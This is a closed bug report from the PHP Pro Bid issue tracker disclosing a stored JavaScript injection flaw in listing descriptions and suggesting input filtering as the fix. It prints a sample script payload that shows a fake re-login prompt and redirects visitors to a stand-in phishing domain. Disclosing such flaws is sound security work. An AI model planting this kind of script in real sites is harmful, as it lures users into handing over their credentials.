PHP Pro Bid

  • Status Closed
  • Percent Complete
    100%
  • Task Type Bug Report
  • Category User End
  • Assigned To No-one
  • Operating System
  • Severity Critical
  • Priority Very Low
  • Reported Version 7.6
  • Due in Version 7.8
  • Due Date Undecided
  • Votes
  • Private
Attached to Project: PHP Pro Bid
Opened by Michael Hughes - 18.05.2016
Last edited by Mr Super User - 30.09.2016

FS#352 - Javascript Injection from Listing Descriptions v7.7

It is currently possible to inject JavaScript in the user end listing description field. This would allow an attacker to make any number of attacks and this severely compromises the security of the whole system.

For example, the following (or similar) could be added to the source code of the description field of a listing by a user:

<script>
window.onload = function () {
if (window.confirm('There is a problem with your user account. Please click OK to log in again.'))
{
window.location.href='http://www.LetMeStealYourUsernameAndPassword.com/';
};
}
</script>

An implementation of htmlawed or htmlpurifier to filter form submissions may solve this issue.

Closed by  Mr Super User
30.09.2016 07:27
Reason for closing:  Implemented

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing